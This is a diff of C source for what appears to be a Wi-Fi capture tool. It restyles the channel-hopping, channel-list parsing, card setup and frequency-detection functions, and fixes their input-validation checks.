-void frequency_hopper(struct wif *wi[], int if_num, int chan_count, pid_t parent)
+static void
+frequency_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
 {
 	ssize_t unused;
-    int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1;
-    int dropped=0;
+	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
+			again = 1;
+	int dropped = 0;
+
+	while (0 == kill(parent, 0))
+	{
+		for (j = 0; j < if_num; j++)
+		{
+			again = 1;
+
+			ch_idx = chi % chan_count;
+
+			card = cai % if_num;
 
-    while( 0 == kill(parent, 0) )
-    {
-        for( j = 0; j < if_num; j++ )
-        {
-            again = 1;
-
-            ch_idx = chi % chan_count;
-
-            card = cai % if_num;
-
-            ++chi;
-            ++cai;
-
-            if( G.chswitch == 2 && !first )
-            {
-                j = if_num - 1;
-                card = if_num - 1;
-
-                if( getfreqcount(1) > if_num )
-                {
-                    while( again )
-                    {
-                        again = 0;
-                        for( k = 0; k < ( if_num - 1 ); k++ )
-                        {
-                            if( G.own_frequencies[ch_idx] == G.frequency[k] )
-                            {
-                                again = 1;
-                                ch_idx = chi % chan_count;
-                                chi++;
-                            }
-                        }
-                    }
-                }
-            }
-
-            if( G.own_frequencies[ch_idx] == -1 )
-            {
-                j--;
-                cai--;
-                dropped++;
-                if(dropped >= chan_count)
-                {
-                    ch = wi_get_freq(wi[card]);
-                    G.frequency[card] = ch;
-                    unused = write( G.cd_pipe[1], &card, sizeof(int) );
-                    unused = write( G.ch_pipe[1], &ch, sizeof( int ) );
-                    kill( parent, SIGUSR1 );
-                    usleep(1000);
-                }
-                continue;
-            }
-
-            dropped = 0;
-
-            ch = G.own_frequencies[ch_idx];
-
-            if(wi_set_freq(wi[card], ch ) == 0 )
-            {
-                G.frequency[card] = ch;
-                unused = write( G.cd_pipe[1], &card, sizeof(int) );
-                unused = write( G.ch_pipe[1], &ch, sizeof( int ) );
-                kill( parent, SIGUSR1 );
-                usleep(1000);
-            }
-            else
-            {
-                G.own_frequencies[ch_idx] = -1;      /* remove invalid channel */
-                j--;
-                cai--;
-                continue;
-            }
-        }
-
-        if(G.chswitch == 0)
-        {
-            chi=chi-(if_num - 1);
-        }
-
-        if(first)
-        {
-            first = 0;
-        }
-
-        usleep( (G.hopfreq*1000) );
-    }
-
-    exit( 0 );
-}
-
-int invalid_channel(int chan)
-{
-    int i=0;
-
-    do
-    {
-        if (chan == abg_chans[i] && chan != 0 )
-            return 0;
-    } while (abg_chans[++i]);
-    return 1;
-}
-
-int invalid_frequency(int freq)
-{
-    int i=0;
-
-    do
-    {
-        if (freq == frequencies[i] && freq != 0 )
-            return 0;
-    } while (frequencies[++i]);
-    return 1;
+			++chi;
+			++cai;
+
+			if (G.chswitch == 2 && !first)
+			{
+				j = if_num - 1;
+				card = if_num - 1;
+
+				if (getfreqcount(1) > if_num)
+				{
+					while (again)
+					{
+						again = 0;
+						for (k = 0; k < (if_num - 1); k++)
+						{
+							if (G.own_frequencies[ch_idx] == G.frequency[k])
+							{
+								again = 1;
+								ch_idx = chi % chan_count;
+								chi++;
+							}
+						}
+					}
+				}
+			}
+
+			if (G.own_frequencies[ch_idx] == -1)
+			{
+				j--;
+				cai--;
+				dropped++;
+				if (dropped >= chan_count)
+				{
+					ch = wi_get_freq(wi[card]);
+					G.frequency[card] = ch;
+					unused = write(G.cd_pipe[1], &card, sizeof(int));
+					unused = write(G.ch_pipe[1], &ch, sizeof(int));
+					kill(parent, SIGUSR1);
+					usleep(1000);
+				}
+				continue;
+			}
+
+			dropped = 0;
+
+			ch = G.own_frequencies[ch_idx];
+
+			if (wi_set_freq(wi[card], ch) == 0)
+			{
+				G.frequency[card] = ch;
+				unused = write(G.cd_pipe[1], &card, sizeof(int));
+				unused = write(G.ch_pipe[1], &ch, sizeof(int));
+				kill(parent, SIGUSR1);
+				usleep(1000);
+			}
+			else
+			{
+				G.own_frequencies[ch_idx] = -1; /* remove invalid channel */
+				j--;
+				cai--;
+				continue;
+			}
+		}
+
+		if (G.chswitch == 0)
+		{
+			chi = chi - (if_num - 1);
+		}
+
+		if (first)
+		{
+			first = 0;
+		}
+
+		usleep((G.hopfreq * 1000));
+	}
+
+	exit(0);
+}
+
+static int invalid_channel(int chan)
+{
+	int i = 0;
+
+	do
+	{
+		if (chan == abg_chans[i] && chan != 0) return 0;
+	} while (abg_chans[++i]);
+	return 1;
+}
+
+static int invalid_frequency(int freq)
+{
+	int i = 0;
+
+	do
+	{
+		if (freq == frequencies[i] && freq != 0) return 0;
+	} while (frequencies[++i]);
+	return 1;
 }
 
 /* parse a string, for example "1,2,3-7,11" */
 
-int getchannels(const char *optarg)
+static int getchannels(const char * optarg)
 {
-    unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0;
-    char *optchan = NULL, *optc;
-    char *token = NULL;
-    int *tmp_channels;
-
-    //got a NULL pointer?
-    if(optarg == NULL)
-        return -1;
-
-    chan_remain=chan_max;
-
-    //create a writable string
-    optc = optchan = (char*) malloc(strlen(optarg)+1);
-    strncpy(optchan, optarg, strlen(optarg));
-    optchan[strlen(optarg)]='\0';
-
-    tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1));
-
-    //split string in tokens, separated by ','
-    while( (token = strsep(&optchan,",")) != NULL)
-    {
-        //range defined?
-        if(strchr(token, '-') != NULL)
-        {
-            //only 1 '-' ?
-            if(strchr(token, '-') == strrchr(token, '-'))
-            {
-                //are there any illegal characters?
-                for(i=0; i<strlen(token); i++)
-                {
-                    if( (token[i] < '0') && (token[i] > '9') && (token[i] != '-'))
-                    {
-                        free(tmp_channels);
-                        free(optc);
-                        return -1;
-                    }
-                }
-
-                if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF )
-                {
-                    if(chan_first > chan_last)
-                    {
-                        free(tmp_channels);
-                        free(optc);
-                        return -1;
-                    }
-                    for(i=chan_first; i<=chan_last; i++)
-                    {
-                        if( (! invalid_channel(i)) && (chan_remain > 0) )
-                        {
-                                tmp_channels[chan_max-chan_remain]=i;
-                                chan_remain--;
-                        }
-                    }
-                }
-                else
-                {
-                    free(tmp_channels);
-                    free(optc);
-                    return -1;
-                }
-
-            }
-            else
-            {
-                free(tmp_channels);
-                free(optc);
-                return -1;
-            }
-        }
-        else
-        {
-            //are there any illegal characters?
-            for(i=0; i<strlen(token); i++)
-            {
-                if( (token[i] < '0') && (token[i] > '9') )
-                {
-                    free(tmp_channels);
-                    free(optc);
-                    return -1;
-                }
-            }
-
-            if( sscanf(token, "%d", &chan_cur) != EOF)
-            {
-                if( (! invalid_channel(chan_cur)) && (chan_remain > 0) )
-                {
-                        tmp_channels[chan_max-chan_remain]=chan_cur;
-                        chan_remain--;
-                }
-
-            }
-            else
-            {
-                free(tmp_channels);
-                free(optc);
-                return -1;
-            }
-        }
-    }
-
-    G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1));
-
-    for(i=0; i<(chan_max - chan_remain); i++)
-    {
-        G.own_channels[i]=tmp_channels[i];
-    }
-
-    G.own_channels[i]=0;
-
-    free(tmp_channels);
-    free(optc);
-    if(i==1) return G.own_channels[0];
-    if(i==0) return -1;
-    return 0;
+	unsigned int i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
+				 chan_max = 128, chan_remain = 0;
+	char *optchan = NULL, *optc;
+	char * token = NULL;
+	int * tmp_channels;
+
+	// got a NULL pointer?
+	if (optarg == NULL) return -1;
+
+	chan_remain = chan_max;
+
+	// create a writable string
+	optc = optchan = (char *) malloc(strlen(optarg) + 1);
+	strncpy(optchan, optarg, strlen(optarg));
+	optchan[strlen(optarg)] = '\0';
+
+	tmp_channels = (int *) malloc(sizeof(int) * (chan_max + 1));
+
+	// split string in tokens, separated by ','
+	while ((token = strsep(&optchan, ",")) != NULL)
+	{
+		// range defined?
+		if (strchr(token, '-') != NULL)
+		{
+			// only 1 '-' ?
+			if (strchr(token, '-') == strrchr(token, '-'))
+			{
+				// are there any illegal characters?
+				for (i = 0; i < strlen(token); i++)
+				{
+					if (((token[i] < '0') || (token[i] > '9'))
+						&& (token[i] != '-'))
+					{
+						free(tmp_channels);
+						free(optc);
+						return -1;
+					}
+				}
+
+				if (sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF)
+				{
+					if (chan_first > chan_last)
+					{
+						free(tmp_channels);
+						free(optc);
+						return -1;
+					}
+					for (i = chan_first; i <= chan_last; i++)
+					{
+						if ((!invalid_channel(i)) && (chan_remain > 0))
+						{
+							tmp_channels[chan_max - chan_remain] = i;
+							chan_remain--;
+						}
+					}
+				}
+				else
+				{
+					free(tmp_channels);
+					free(optc);
+					return -1;
+				}
+			}
+			else
+			{
+				free(tmp_channels);
+				free(optc);
+				return -1;
+			}
+		}
+		else
+		{
+			// are there any illegal characters?
+			for (i = 0; i < strlen(token); i++)
+			{
+				if ((token[i] < '0') || (token[i] > '9'))
+				{
+					free(tmp_channels);
+					free(optc);
+					return -1;
+				}
+			}
+
+			if (sscanf(token, "%d", &chan_cur) != EOF)
+			{
+				if ((!invalid_channel(chan_cur)) && (chan_remain > 0))
+				{
+					tmp_channels[chan_max - chan_remain] = chan_cur;
+					chan_remain--;
+				}
+			}
+			else
+			{
+				free(tmp_channels);
+				free(optc);
+				return -1;
+			}
+		}
+	}
+
+	G.own_channels = (int *) malloc(sizeof(int) * (chan_max - chan_remain + 1));
+
+	for (i = 0; i < (chan_max - chan_remain); i++)
+	{
+		G.own_channels[i] = tmp_channels[i];
+	}
+
+	G.own_channels[i] = 0;
+
+	free(tmp_channels);
+	free(optc);
+	if (i == 1) return G.own_channels[0];
+	if (i == 0) return -1;
+	return 0;
 }
 
 /* parse a string, for example "1,2,3-7,11" */
 
-int getfrequencies(const char *optarg)
+static int getfrequencies(const char * optarg)
 {
-    unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0;
-    char *optfreq = NULL, *optc;
-    char *token = NULL;
-    int *tmp_frequencies;
-
-    //got a NULL pointer?
-    if(optarg == NULL)
-        return -1;
-
-    freq_remain=freq_max;
-
-    //create a writable string
-    optc = optfreq = (char*) malloc(strlen(optarg)+1);
-    strncpy(optfreq, optarg, strlen(optarg));
-    optfreq[strlen(optarg)]='\0';
-
-    tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1));
-
-    //split string in tokens, separated by ','
-    while( (token = strsep(&optfreq,",")) != NULL)
-    {
-        //range defined?
-        if(strchr(token, '-') != NULL)
-        {
-            //only 1 '-' ?
-            if(strchr(token, '-') == strrchr(token, '-'))
-            {
-                //are there any illegal characters?
-                for(i=0; i<strlen(token); i++)
-                {
-                    if( (token[i] < '0' || token[i] > '9') && (token[i] != '-'))
-                    {
-                        free(tmp_frequencies);
-                        free(optc);
-                        return -1;
-                    }
-                }
-
-                if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF )
-                {
-                    if(freq_first > freq_last)
-                    {
-                        free(tmp_frequencies);
-                        free(optc);
-                        return -1;
-                    }
-                    for(i=freq_first; i<=freq_last; i++)
-                    {
-                        if( (! invalid_frequency(i)) && (freq_remain > 0) )
-                        {
-                                tmp_frequencies[freq_max-freq_remain]=i;
-                                freq_remain--;
-                        }
-                    }
-                }
-                else
-                {
-                    free(tmp_frequencies);
-                    free(optc);
-                    return -1;
-                }
-
-            }
-            else
-            {
-                free(tmp_frequencies);
-                free(optc);
-                return -1;
-            }
-        }
-        else
-        {
-            //are there any illegal characters?
-            for(i=0; i<strlen(token); i++)
-            {
-                if( (token[i] < '0') && (token[i] > '9') )
-                {
-                    free(tmp_frequencies);
-                    free(optc);
-                    return -1;
-                }
-            }
-
-            if( sscanf(token, "%d", &freq_cur) != EOF)
-            {
-                if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) )
-                {
-                        tmp_frequencies[freq_max-freq_remain]=freq_cur;
-                        freq_remain--;
-                }
-
-                /* special case "-C 0" means: scan all available frequencies */
-                if(freq_cur == 0)
-                {
-                    freq_first = 1;
-                    freq_last = 9999;
-                    for(i=freq_first; i<=freq_last; i++)
-                    {
-                        if( (! invalid_frequency(i)) && (freq_remain > 0) )
-                        {
-                                tmp_frequencies[freq_max-freq_remain]=i;
-                                freq_remain--;
-                        }
-                    }
-                }
-
-            }
-            else
-            {
-                free(tmp_frequencies);
-                free(optc);
-                return -1;
-            }
-        }
-    }
-
-    G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1));
-
-    for(i=0; i<(freq_max - freq_remain); i++)
-    {
-        G.own_frequencies[i]=tmp_frequencies[i];
-    }
-
-    G.own_frequencies[i]=0;
-
-    free(tmp_frequencies);
-    free(optc);
-    if(i==1) return G.own_frequencies[0];   //exactly 1 frequency given
-    if(i==0) return -1;                     //error occured
-    return 0;                               //frequency hopping
+	unsigned int i = 0, freq_cur = 0, freq_first = 0, freq_last = 0,
+				 freq_max = 10000, freq_remain = 0;
+	char *optfreq = NULL, *optc;
+	char * token = NULL;
+	int * tmp_frequencies;
+
+	// got a NULL pointer?
+	if (optarg == NULL) return -1;
+
+	freq_remain = freq_max;
+
+	// create a writable string
+	optc = optfreq = (char *) malloc(strlen(optarg) + 1);
+	strncpy(optfreq, optarg, strlen(optarg));
+	optfreq[strlen(optarg)] = '\0';
+
+	tmp_frequencies = (int *) malloc(sizeof(int) * (freq_max + 1));
+
+	// split string in tokens, separated by ','
+	while ((token = strsep(&optfreq, ",")) != NULL)
+	{
+		// range defined?
+		if (strchr(token, '-') != NULL)
+		{
+			// only 1 '-' ?
+			if (strchr(token, '-') == strrchr(token, '-'))
+			{
+				// are there any illegal characters?
+				for (i = 0; i < strlen(token); i++)
+				{
+					if ((token[i] < '0' || token[i] > '9') && (token[i] != '-'))
+					{
+						free(tmp_frequencies);
+						free(optc);
+						return -1;
+					}
+				}
+
+				if (sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF)
+				{
+					if (freq_first > freq_last)
+					{
+						free(tmp_frequencies);
+						free(optc);
+						return -1;
+					}
+					for (i = freq_first; i <= freq_last; i++)
+					{
+						if ((!invalid_frequency(i)) && (freq_remain > 0))
+						{
+							tmp_frequencies[freq_max - freq_remain] = i;
+							freq_remain--;
+						}
+					}
+				}
+				else
+				{
+					free(tmp_frequencies);
+					free(optc);
+					return -1;
+				}
+			}
+			else
+			{
+				free(tmp_frequencies);
+				free(optc);
+				return -1;
+			}
+		}
+		else
+		{
+			// are there any illegal characters?
+			for (i = 0; i < strlen(token); i++)
+			{
+				if ((token[i] < '0') || (token[i] > '9'))
+				{
+					free(tmp_frequencies);
+					free(optc);
+					return -1;
+				}
+			}
+
+			if (sscanf(token, "%d", &freq_cur) != EOF)
+			{
+				if ((!invalid_frequency(freq_cur)) && (freq_remain > 0))
+				{
+					tmp_frequencies[freq_max - freq_remain] = freq_cur;
+					freq_remain--;
+				}
+
+				/* special case "-C 0" means: scan all available frequencies */
+				if (freq_cur == 0)
+				{
+					freq_first = 1;
+					freq_last = 9999;
+					for (i = freq_first; i <= freq_last; i++)
+					{
+						if ((!invalid_frequency(i)) && (freq_remain > 0))
+						{
+							tmp_frequencies[freq_max - freq_remain] = i;
+							freq_remain--;
+						}
+					}
+				}
+			}
+			else
+			{
+				free(tmp_frequencies);
+				free(optc);
+				return -1;
+			}
+		}
+	}
+
+	G.own_frequencies
+		= (int *) malloc(sizeof(int) * (freq_max - freq_remain + 1));
+
+	for (i = 0; i < (freq_max - freq_remain); i++)
+	{
+		G.own_frequencies[i] = tmp_frequencies[i];
+	}
+
+	G.own_frequencies[i] = 0;
+
+	free(tmp_frequencies);
+	free(optc);
+	if (i == 1) return G.own_frequencies[0]; // exactly 1 frequency given
+	if (i == 0) return -1; // error occurred
+	return 0; // frequency hopping
 }
 
-int setup_card(char *iface, struct wif **wis)
+static int setup_card(char * iface, struct wif ** wis)
 {
-	struct wif *wi;
+	struct wif * wi;
 
 	wi = wi_open(iface);
-	if (!wi)
-		return -1;
+	if (!wi) return -1;
 	*wis = wi;
 
 	return 0;
 }
 
-int init_cards(const char* cardstr, char *iface[], struct wif **wi)
+static int init_cards(const char * cardstr, char * iface[], struct wif ** wi)
 {
-    char *buffer;
-    char *buf;
-    int if_count=0;
-    int i=0, again=0;
-
-    buf = buffer = (char*) malloc( sizeof(char) * 1025 );
-    strncpy( buffer, cardstr, 1025 );
-    buffer[1024] = '\0';
-
-    while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) )
-    {
-        again=0;
-        for(i=0; i<if_count; i++)
-        {
-            if(strcmp(iface[i], iface[if_count]) == 0)
-            again=1;
-        }
-        if(again) continue;
-        if(setup_card(iface[if_count], &(wi[if_count])) != 0)
-        {
-            free(buf);
-            return -1;
-        }
-        if_count++;
-    }
-
-    free(buf);
-    return if_count;
+	char * buffer;
+	char * buf;
+	int if_count = 0;
+	int i = 0, again = 0;
+
+	// Check card string is valid
+	if (cardstr == NULL || cardstr[0] == 0)
+	{
+		return -1;
+	}
+
+	buf = buffer = strdup(cardstr);
+	if (buf == NULL)
+	{
+		return -1;
+	}
+
+	while (((iface[if_count] = strsep(&buffer, ",")) != NULL)
+		   && (if_count < MAX_CARDS))
+	{
+		again = 0;
+		for (i = 0; i < if_count; i++)
+		{
+			if (strcmp(iface[i], iface[if_count]) == 0) again = 1;
+		}
+		if (again) continue;
+		if (setup_card(iface[if_count], &(wi[if_count])) != 0)
+		{
+			free(buf);
+			return -1;
+		}
+		if_count++;
+	}
+
+	free(buf);
+	return if_count;
 }
 
-#if 0
-int get_if_num(const char* cardstr)
+static int set_encryption_filter(const char * input)
 {
-    char *buffer;
-    int if_count=0;
+	if (input == NULL) return 1;
 
-    buffer = (char*) malloc(sizeof(char)*1025);
-    if (buffer == NULL) {
-		return -1;
+	if (strlen(input) < 3) return 1;
+
+	if (strcasecmp(input, "opn") == 0) G.f_encrypt |= STD_OPN;
+
+	if (strcasecmp(input, "wep") == 0) G.f_encrypt |= STD_WEP;
+
+	if (strcasecmp(input, "wpa") == 0)
+	{
+		G.f_encrypt |= STD_WPA;
+		G.f_encrypt |= STD_WPA2;
 	}
 
-    strncpy(buffer, cardstr, 1025);
-    buffer[1024] = '\0';
+	if (strcasecmp(input, "wpa1") == 0) G.f_encrypt |= STD_WPA;
 
-    while( (strsep(&buffer, ",") != NULL) && (if_count < MAX_CARDS) )
-    {
-        if_count++;
-    }
+	if (strcasecmp(input, "wpa2") == 0) G.f_encrypt |= STD_WPA2;
 
-    free(buffer)
+	return 0;
+}
+
+static int check_monitor(struct wif * wi[], int * fd_raw, int * fdh, int cards)
+{
+	int i, monitor;
+	char ifname[64];
+
+	for (i = 0; i < cards; i++)
+	{
+		monitor = wi_get_monitor(wi[i]);
+		if (monitor != 0)
+		{
+			memset(G.message, '\x00', sizeof(G.message));
+			snprintf(G.message,
+					 sizeof(G.message),
+					 "][ %s reset to monitor mode",
+					 wi_get_ifname(wi[i]));
+			// reopen in monitor mode
+
+			strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname) - 1);
+			ifname[sizeof(ifname) - 1] = 0;
+
+			wi_close(wi[i]);
+			wi[i] = wi_open(ifname);
+			if (!wi[i])
+			{
+				printf("Can't reopen %s\n", ifname);
+				exit(1);
+			}
 
-    return if_count;
+			fd_raw[i] = wi_fd(wi[i]);
+			if (fd_raw[i] > *fdh) *fdh = fd_raw[i];
+		}
+	}
+	return 0;
 }
+
+static int check_channel(struct wif * wi[], int cards)
+{
+	int i, chan;
+	for (i = 0; i < cards; i++)
+	{
+		chan = wi_get_channel(wi[i]);
+		if (G.ignore_negative_one == 1 && chan == -1) return 0;
+		if (G.channel[i] != chan)
+		{
+			memset(G.message, '\x00', sizeof(G.message));
+			snprintf(G.message,
+					 sizeof(G.message),
+					 "][ fixed channel %s: %d ",
+					 wi_get_ifname(wi[i]),
+					 chan);
+#ifdef CONFIG_LIBNL
+			wi_set_ht_channel(wi[i], G.channel[i], G.htval);
+#else
+			wi_set_channel(wi[i], G.channel[i]);
 #endif
+		}
+	}
+	return 0;
+}
+
+static int check_frequency(struct wif * wi[], int cards)
+{
+	int i, freq;
+	for (i = 0; i < cards; i++)
+	{
+		freq = wi_get_freq(wi[i]);
+		if (freq < 0) continue;
+		if (G.frequency[i] != freq)
+		{
+			memset(G.message, '\x00', sizeof(G.message));
+			snprintf(G.message,
+					 sizeof(G.message),
+					 "][ fixed frequency %s: %d ",
+					 wi_get_ifname(wi[i]),
+					 freq);
+			wi_set_freq(wi[i], G.frequency[i]);
+		}
+	}
+	return 0;
+}
+
+static int detect_frequencies(struct wif * wi)
+{
+	int start_freq = 2192;
+	int end_freq = 2732;
+	int max_freq_num = 2048; // should be enough to keep all available channels
+	int freq = 0, i = 0;
+
+	printf("Checking available frequencies, this could take few seconds.\n");
+
+	frequencies = (int *) malloc(
+		(max_freq_num + 1) * sizeof(int)); // field for frequencies supported
+	memset(frequencies, 0, (max_freq_num + 1) * sizeof(int));
+	for (freq = start_freq; freq <= end_freq; freq += 5)
+	{
+		if (wi_set_freq(wi, freq) == 0)
+		{
+			frequencies[i] = freq;
+			i++;
+		}
+		if (freq == 2482)
+		{
+			// special case for chan 14, as its 12MHz away from 13, not 5MHz
+			freq = 2484;
+			if (wi_set_freq(wi, freq) == 0)
+			{
+				frequencies[i] = freq;
+				i++;
+			}
+			freq = 2482;
+		}
+	}
+
+	// again for 5GHz channels
+	start_freq = 4800;
+	end_freq = 6000;
+	for (freq = start_freq; freq <= end_freq; freq += 5)
+	{
+		if (wi_set_freq(wi, freq) == 0)
+		{
+			frequencies[i] = freq;
+			i++;
+		}
+	}
+
+	printf("Done.\n");
+	return 0;
+}
 
-int set_encryption_filter(const char* input)
+static int array_contains(int * array, int length, int value)
 {
-    if(input == NULL) return 1;
+	int i;
+	for (i = 0; i < length; i++)
+		if (array[i] == value) return 1;
 
-    if(strlen(input) < 3) return 1;
+	return 0;
+}
 
-    if(strcasecmp(input, "opn") == 0)
-        G.f_encrypt |= STD_OPN;
+static int rearrange_frequencies(void)
+{
+	int * freqs;
+	int count, left, pos;
+	int width, last_used = 0;
+	int cur_freq, last_freq, round_done;
+	//     int i;
+
+	width = DEFAULT_CWIDTH;
+	cur_freq = 0;
+
+	count = getfreqcount(0);
+	left = count;
+	pos = 0;
 
-    if(strcasecmp(input, "wep") == 0)
-        G.f_encrypt |= STD_WEP;
-
-    if(strcasecmp(input, "wpa") == 0)
-    {
-        G.f_encrypt |= STD_WPA;
-        G.f_encrypt |= STD_WPA2;
-    }
-
-    if(strcasecmp(input, "wpa1") == 0)
-        G.f_encrypt |= STD_WPA;
-
-    if(strcasecmp(input, "wpa2") == 0)
-        G.f_encrypt |= STD_WPA2;
-
-    return 0;
-}
-
-int check_monitor(struct wif *wi[], int *fd_raw, int *fdh, int cards)
-{
-    int i, monitor;
-    char ifname[64];
-
-    for(i=0; i<cards; i++)
-    {
-        monitor = wi_get_monitor(wi[i]);
-        if(monitor != 0)
-        {
-            memset(G.message, '\x00', sizeof(G.message));
-            snprintf(G.message, sizeof(G.message), "][ %s reset to monitor mode", wi_get_ifname(wi[i]));
-            //reopen in monitor mode
-
-            strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname)-1);
-            ifname[sizeof(ifname)-1] = 0;
-
-            wi_close(wi[i]);
-            wi[i] = wi_open(ifname);
-            if (!wi[i]) {
-                printf("Can't reopen %s\n", ifname);
-                exit(1);
-            }
-
-            fd_raw[i] = wi_fd(wi[i]);
-            if (fd_raw[i] > *fdh)
-                *fdh = fd_raw[i];
-        }
-    }
-    return 0;
-}
-
-int check_channel(struct wif *wi[], int cards)
-{
-    int i, chan;
-    for(i=0; i<cards; i++)
-    {
-        chan = wi_get_channel(wi[i]);
-        if(G.ignore_negative_one == 1 && chan==-1) return 0;
-        if(G.channel[i] != chan)
-        {
-            memset(G.message, '\x00', sizeof(G.message));
-            snprintf(G.message, sizeof(G.message), "][ fixed channel %s: %d ", wi_get_ifname(wi[i]), chan);
-            wi_set_channel(wi[i], G.channel[i]);
-        }
-    }
-    return 0;
-}
-
-int check_frequency(struct wif *wi[], int cards)
-{
-    int i, freq;
-    for(i=0; i<cards; i++)
-    {
-        freq = wi_get_freq(wi[i]);
-        if(freq < 0) continue;
-        if(G.frequency[i] != freq)
-        {
-            memset(G.message, '\x00', sizeof(G.message));
-            snprintf(G.message, sizeof(G.message), "][ fixed frequency %s: %d ", wi_get_ifname(wi[i]), freq);
-            wi_set_freq(wi[i], G.frequency[i]);
-        }
-    }
-    return 0;
-}
-
-int detect_frequencies(struct wif *wi)
-{
-    int start_freq = 2192;
-    int end_freq = 2732;
-    int max_freq_num = 2048; //should be enough to keep all available channels
-    int freq=0, i=0;
-
-    printf("Checking available frequencies, this could take few seconds.\n");
-
-    frequencies = (int*) malloc((max_freq_num+1) * sizeof(int)); //field for frequencies supported
-    memset(frequencies, 0, (max_freq_num+1) * sizeof(int));
-    for(freq=start_freq; freq<=end_freq; freq+=5)
-    {
-        if(wi_set_freq(wi, freq) == 0)
-        {
-            frequencies[i] = freq;
-            i++;
-        }
-        if(freq == 2482)
-        {
-            //special case for chan 14, as its 12MHz away from 13, not 5MHz
-            freq = 2484;
-            if(wi_set_freq(wi, freq) == 0)
-            {
-                frequencies[i] = freq;
-                i++;
-            }
-            freq = 2482;
-        }
-    }
-
-    //again for 5GHz channels
-    start_freq=4800;
-    end_freq=6000;
-    for(freq=start_freq; freq<=end_freq; freq+=5)
-    {
-        if(wi_set_freq(wi, freq) == 0)
-        {
-            frequencies[i] = freq;
-            i++;
-        }
-    }
-
-    printf("Done.\n");
-    return 0;
-}
-
-int array_contains(int *array, int length, int value)
-{
-    int i;
-    for(i=0;i<length;i++)
-        if(array[i] == value)
-            return 1;
-
-    return 0;
-}
-
-int rearrange_frequencies()
-{
-    int *freqs;
-    int count, left, pos;
-    int width, last_used=0;
-    int cur_freq, last_freq, round_done;
-//     int i;
-
-    width = DEFAULT_CWIDTH;
-    cur_freq=0;
-
-    count = getfreqcount(0);
-    left = count;
-    pos = 0;
-
-    freqs = malloc(sizeof(int) * (count + 1));
-    memset(freqs, 0, sizeof(int) * (count + 1));
-    round_done = 0;
-
-    while(left > 0)
-    {
-//         printf("pos: %d\n", pos);
-        last_freq = cur_freq;
-        cur_freq = G.own_frequencies[pos%count];
-        if(cur_freq == last_used)
-            round_done=1;
-//         printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width);
-        if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) )
-        {
-//             printf("skip it!\n");
-            pos++;
-            continue;
-        }
-        if(!array_contains( freqs, count, cur_freq))
-        {
-//             printf("not in there yet: %d\n", cur_freq);
-            freqs[count - left] = cur_freq;
-            last_used = cur_freq;
-            left--;
-            round_done = 0;
-        }
-
-        pos++;
-    }
-
-    memcpy(G.own_frequencies, freqs, count*sizeof(int));
-    free(freqs);
-
-    return 0;
-}
-
-int main( int argc, char *argv[] )
-{
-    long time_slept, cycle_time, cycle_time2;
-    char * output_format_string;
-    int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused;
-    int fd_raw[MAX_CARDS], arptype[MAX_CARDS];
-    int ivs_only, found;
-    int valid_channel;
-    int freq [2];
-    int num_opts = 0;
-    int option = 0;
-    int option_index = 0;
-    char ifnam[64];
-    int wi_read_failed=0;
-    int n = 0;
-    int output_format_first_time = 1;
+	freqs = malloc(sizeof(int) * (count + 1));
+	memset(freqs, 0, sizeof(int) * (count + 1));
+	round_done = 0;
+
+	while (left > 0)
+	{
+		//         printf("pos: %d\n", pos);
+		last_freq = cur_freq;
+		cur_freq = G.own_frequencies[pos % count];
+		if (cur_freq == last_used) round_done = 1;
+		//         printf("count: %d, left: %d, last_used: %d, cur_freq: %d,
+		//         width: %d\n", count, left, last_used, cur_freq, width);
+		if (((count - left) > 0) && !round_done
+			&& (ABS(last_used - cur_freq) < width))
+		{
+			//             printf("skip it!\n");
+			pos++;
+			continue;
+		}
+		if (!array_contains(freqs, count, cur_freq))
+		{
+			//             printf("not in there yet: %d\n", cur_freq);
+			freqs[count - left] = cur_freq;
+			last_used = cur_freq;
+			left--;
+			round_done = 0;
+		}
+
+		pos++;
+	}
+
+	memcpy(G.own_frequencies, freqs, count * sizeof(int));
+	free(freqs);
+
+	return 0;
+}
+
+int main(int argc, char * argv[])
+{
+	long time_slept, cycle_time, cycle_time2;
+	char * output_format_string;
+	int caplen = 0, i, j, fdh, fd_is_set, chan_count, freq_count, unused;
+	int fd_raw[MAX_CARDS], arptype[MAX_CARDS];
+	int ivs_only, found;
+	int valid_channel;
+	int freq[2];
+	int num_opts = 0;
+	int option = 0;
+	int option_index = 0;
+	char ifnam[64];
+	int wi_read_failed = 0;
+	int n = 0;
+	int output_format_first_time = 1;
 #ifdef HAVE_PCRE
-    const char *pcreerror;
-    int pcreerroffset;
+	const char * pcreerror;
+	int pcreerroffset;
 #endif
 
-    struct AP_info *ap_cur, *ap_prv, *ap_next;
-    struct ST_info *st_cur, *st_next;
-    struct NA_info *na_cur, *na_next;
-    struct oui *oui_cur, *oui_next;
-
-    struct pcap_pkthdr pkh;
-
-    time_t tt1, tt2, tt3, start_time;
-
-    struct wif	       *wi[MAX_CARDS];
-    struct rx_info     ri;
-    unsigned char      tmpbuf[4096];
-    unsigned char      buffer[4096];
-    unsigned char      *h80211;
-    char               *iface[MAX_CARDS];
-
-    struct timeval     tv0;
-    struct timeval     tv1;
-    struct timeval     tv2;
-    struct timeval     tv3;
-    struct timeval     tv4;
-    struct tm          *lt;
-
-    /*
-    struct sockaddr_in provis_addr;
-    */
-
